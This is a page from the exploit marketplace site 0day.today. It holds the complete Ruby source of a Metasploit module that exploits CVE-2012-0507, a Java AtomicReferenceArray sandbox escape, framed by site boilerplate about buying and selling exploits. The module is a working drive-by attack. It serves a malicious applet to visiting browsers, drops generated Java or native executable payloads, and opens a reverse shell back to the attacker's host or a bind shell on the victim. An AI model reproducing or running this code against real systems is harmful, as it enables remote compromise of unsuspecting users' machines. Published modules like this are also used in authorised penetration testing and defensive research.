0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Java AtomicReferenceArray Type Violation Vulnerability
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize( info = {} ) super( update_info( info, 'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability', 'Description' => %q{ This module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', # metasploit module 'juan vazquez', # metasploit module 'egypt' # special assistance ], 'References' => [ ['CVE', '2012-0507'], ['BID', '52161'], ['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'], ['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'] ], 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 14 2012' )) end def exploit # load the static jar file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0507.jar" ) fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close super end def on_request_uri( cli, request ) data = "" host = "" port = "" peer = "#{cli.peerhost}:#{cli.peerport}" if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status("#{peer} - Sending #{self.name}") payload = regenerate_payload( cli ) if not payload print_error("#{peer} - Failed to generate the payload." ) return end if target.name == 'Generic (Java Payload)' if datastore['LHOST'] jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" ) else port = datastore['LPORT'] datastore['RHOST'] = cli.peerhost vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." ) end if jar print_status( "Generated jar to drop (#{jar.length} bytes)." ) jar = Rex::Text.to_hex( jar, prefix="" ) else print_error("#{peer} - Failed to generate the executable." ) return end else # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe if data print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) else print_error("#{peer} - Failed to generate the executable." ) return end end send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) return end print_status( "#{peer} - sending jar..." ) send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html( data, jar, host, port ) jar_name = rand_text_alpha(rand(6)+3) + ".jar" html = "<html><head></head>" html += "<body>" html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">" html += "<param name=\"data\" value=\"#{data}\"/>" if data html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "<param name=\"lport\" value=\"#{port}\"/>" if port html += "</applet></body></html>" return html end def generate_jar() return @jar_data end end # 0day.today [2024-12-25] #